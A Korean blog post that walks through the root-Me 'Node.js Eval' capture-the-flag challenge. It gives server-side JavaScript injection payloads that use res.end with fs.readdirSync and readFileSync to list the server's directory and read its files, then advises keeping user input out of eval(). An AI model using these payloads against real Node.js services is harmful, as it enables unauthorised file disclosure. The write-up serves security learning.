root-Me Node.js Eval을 풀고 싶으신가요?
Do you want to solve root-Me Node.js Eval?
[ root-Me#6 Node.js Eval ]
Table of contents
#0 Concept
#1 Problem
#2 How to Solve
#3 Conclusion
#0. Concept
eval() 란? 인자값으로 들어간 Javascript 코드를 실행하는 함수
#1. Problem
네? 뭐라구여?ㅎㅎ
구글 감사해요~!
#3. How to solve
문제에 eval()이라고 써있으니 바로 감이 싹 옵니다. Input 에 javascript 코드를 삽입합니다.
- TEST
공격 가능 테스트를 위해 응답 프로세스를 종료하고 공격자가 입력한 문자열 "asdf"을 반환하도록 합니다.
var a='asdf';res.end(a);
eval() 인자값으로 javascript 코드가 들어가 응답 값으로 공격자가 의도한 값("asdf")을 반환하는 것을 알 수 있습니다.
- LFI
Server에서 동작하는 eval() 인자 값으로 파일 읽어오는 명령어를 입력하여 쉽게 Flag를 획득합니다.
res.end(require('fs').readdirSync('.').toString()) // 응답 값으로 현재 디렉토리 파일 리스트 전송
res.end(require('fs').readFileSync('')) //응답 값으로 파일 내용 전송
#4. Conclusion
이용자의 입력 값으로 들어오는 값을 eval()의 인자로 들어가지 않도록 코드를 작성합니다~!
'HACKING_GAME > WEB' 카테고리의 다른 글
root-Me#8 NoSQL injection - Blind (0) | 2021.05.22 |
---|---|
HacktheBox#3 baby todo or not todo (0) | 2021.04.22 |
root-Me#6 Graphql (0) | 2021.01.04 |
root-Me#5 SQL Injection - Routed (0) | 2020.12.20 |
root-Me#4 Revoked Token - JWT (0) | 2020.12.14 |